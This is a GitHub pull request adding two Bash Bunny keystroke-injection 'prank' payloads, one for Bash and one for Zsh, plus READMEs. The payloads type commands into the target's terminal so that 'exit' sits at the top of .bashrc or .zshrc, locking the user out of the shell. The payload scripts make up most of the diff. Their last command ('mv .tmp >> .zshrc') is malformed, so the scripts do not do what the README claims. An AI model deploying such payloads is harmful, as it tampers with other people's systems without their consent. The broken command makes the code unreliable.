-
Notifications
You must be signed in to change notification settings - Fork 1.5k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
This damn shell doesn't work, SO SAD! :C [ZSH && BASH] #681
Open
aleff-github
wants to merge
8
commits into
hak5:master
Choose a base branch
from
aleff-github:origin/patch-65
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from 3 commits
Commits
Show all changes
8 commits
Select commit
Hold shift + click to select a range
c6d5486
This damn shell doesn't work, SO SAD! :C
aleff-github 87df486
Linux version
aleff-github a678900
Update README_BASHBUNNY.md
aleff-github 96f2cd9
Name adapted to more general use by referring to the two different sh…
aleff-github 39e4eab
Update payload.txt
aleff-github 7c6c346
Update payload.txt
aleff-github 3916c61
Update payload.txt
aleff-github c576492
gif removed
aleff-github File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
Binary file added
BIN
+1.86 MB
payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!-Kali_Linux/1.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
48 changes: 48 additions & 0 deletions
48
...ary/prank/This_damn_shell_doesn_t_work___so_sad!-Kali_Linux/README_BASHBUNNY.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,48 @@ | ||
# This Damn Shell Doesn't Work, SO SAD! :C | ||
|
||
This payload can be used to prank your friends so that when they open their terminal it will close immediately. | ||
|
||
**Category**: Prank | ||
|
||
![](1.gif) | ||
|
||
## Dependencies | ||
|
||
* Nothing <3 | ||
|
||
## Description | ||
|
||
The described payload aims to modify the configuration file of the default shell environment in a Linux system, specifically the `.bashrc` file. This file is executed every time a user opens a terminal or a Bash shell session. By inserting the `exit` command as the first line in the `.bashrc` file, it causes the shell to terminate immediately upon opening, preventing the user from executing any further commands or operations within the shell. | ||
|
||
However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`. | ||
|
||
To use this payload correctly, it is important to choose the correct one based on the target. If the target system is **Kali Linux** and if it is using Zsh as the default shell, the correct payload is [this one here](), otherwise if it is classic linux distributions like **Ubuntu** or **Debian** it is recommended to use [this one here](). | ||
|
||
To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`. | ||
|
||
## Read More | ||
|
||
- \[1] [Kali Linux 2020.4 switches the default shell from Bash to ZSH | ||
](https://www.bleepingcomputer.com/news/linux/kali-linux-20204-switches-the-default-shell-from-bash-to-zsh/) | ||
|
||
## Credits | ||
|
||
<h2 align="center"> Aleff :octocat: </h2> | ||
<div align=center> | ||
<table> | ||
<tr> | ||
<td align="center" width="96"> | ||
<a href="https://github.com/aleff-github"> | ||
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" /> | ||
</a> | ||
<br>Github | ||
</td> | ||
<td align="center" width="96"> | ||
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/"> | ||
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" /> | ||
</a> | ||
<br>Linkedin | ||
</td> | ||
</tr> | ||
</table> | ||
</div> |
29 changes: 29 additions & 0 deletions
29
...ibrary/prank/This_damn_shell_doesn_t_work___so_sad!-Kali_Linux/payload_BashBunny_kali.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
* REM ############################################################ | ||
* REM # # | ||
* REM # Title : This damn shell doesn't work, SO SAD! :C # | ||
* REM # Author : Aleff # | ||
* REM # Version : 1.0 # | ||
* REM # Category : Prank # | ||
* REM # Target : Kali Linux # | ||
* REM # # | ||
* REM ############################################################ | ||
|
||
|
||
* REM Requirements: | ||
* REM - Nothing <3 | ||
|
||
|
||
QUACK DELAY 1000 | ||
QUACK CTRL-ALT t | ||
QUACK DELAY 2000 | ||
|
||
QUACK STRING echo "exit" > .tmp | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
QUACK STRING cat .zshrc >> .tmp | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
QUACK STRING mv .tmp >> .zshrc | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
QUACK ALT F4 |
Binary file added
BIN
+1.86 MB
payloads/library/prank/This_damn_shell_doesn_t_work___so_sad!-Linux/1.gif
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
50 changes: 50 additions & 0 deletions
50
.../library/prank/This_damn_shell_doesn_t_work___so_sad!-Linux/README_BASHBUNNY.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
# This Damn Shell Doesn't Work, SO SAD! :C | ||
|
||
This payload can be used to prank your friends so that when they open their terminal it will close immediately. | ||
|
||
**Category**: Prank | ||
|
||
*How it works on Kali Linux...* | ||
|
||
![](1.gif) | ||
|
||
## Dependencies | ||
|
||
* Nothing <3 | ||
|
||
## Description | ||
|
||
The described payload aims to modify the configuration file of the default shell environment in a Linux system, specifically the `.bashrc` file. This file is executed every time a user opens a terminal or a Bash shell session. By inserting the `exit` command as the first line in the `.bashrc` file, it causes the shell to terminate immediately upon opening, preventing the user from executing any further commands or operations within the shell. | ||
|
||
However, it's important to note that starting from version 2020.4, Kali Linux has changed its default shell from Bash to Zsh \[1] for users installing this distribution. Consequently, the main configuration file is no longer `.bashrc` but `.zshrc`. Therefore, if the target is a Kali Linux machine with this version or later, it's necessary to modify the `.zshrc` file instead of `.bashrc`. | ||
|
||
To use this payload correctly, it is important to choose the correct one based on the target. If the target system is **Kali Linux** and if it is using Zsh as the default shell, the correct payload is [this one here](), otherwise if it is classic linux distributions like **Ubuntu** or **Debian** it is recommended to use [this one here](). | ||
|
||
To restore proper shell operation, it will be necessary to edit via a text editor the `.bashrc` or `.zshrc` file by deleting the first line that consists of the command `exit`. | ||
|
||
## Read More | ||
|
||
- \[1] [Kali Linux 2020.4 switches the default shell from Bash to ZSH | ||
](https://www.bleepingcomputer.com/news/linux/kali-linux-20204-switches-the-default-shell-from-bash-to-zsh/) | ||
|
||
## Credits | ||
|
||
<h2 align="center"> Aleff :octocat: </h2> | ||
<div align=center> | ||
<table> | ||
<tr> | ||
<td align="center" width="96"> | ||
<a href="https://github.com/aleff-github"> | ||
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" /> | ||
</a> | ||
<br>Github | ||
</td> | ||
<td align="center" width="96"> | ||
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/"> | ||
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" /> | ||
</a> | ||
<br>Linkedin | ||
</td> | ||
</tr> | ||
</table> | ||
</div> |
29 changes: 29 additions & 0 deletions
29
...ds/library/prank/This_damn_shell_doesn_t_work___so_sad!-Linux/payload_BashBunny_linux.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,29 @@ | ||
* REM ############################################################ | ||
* REM # # | ||
* REM # Title : This damn shell doesn't work, SO SAD! :C # | ||
* REM # Author : Aleff # | ||
* REM # Version : 1.0 # | ||
* REM # Category : Prank # | ||
* REM # Target : Linux # | ||
* REM # # | ||
* REM ############################################################ | ||
|
||
|
||
* REM Requirements: | ||
* REM - Nothing <3 | ||
|
||
|
||
QUACK DELAY 1000 | ||
QUACK CTRL-ALT t | ||
QUACK DELAY 2000 | ||
|
||
QUACK STRING echo "exit" > .tmp | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
QUACK STRING cat .bashrc >> .tmp | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
QUACK STRING mv .tmp >> .bashrc | ||
QUACK ENTER | ||
QUACK DELAY 500 | ||
QUACK ALT F4 |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I would rename your 2 payloads to specify shell type rather then OS. Specifying
zsh
orbash
will prevent confusion since there are more linux distros other than kali linux that uses zsh.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I fully share this point of view, thank you.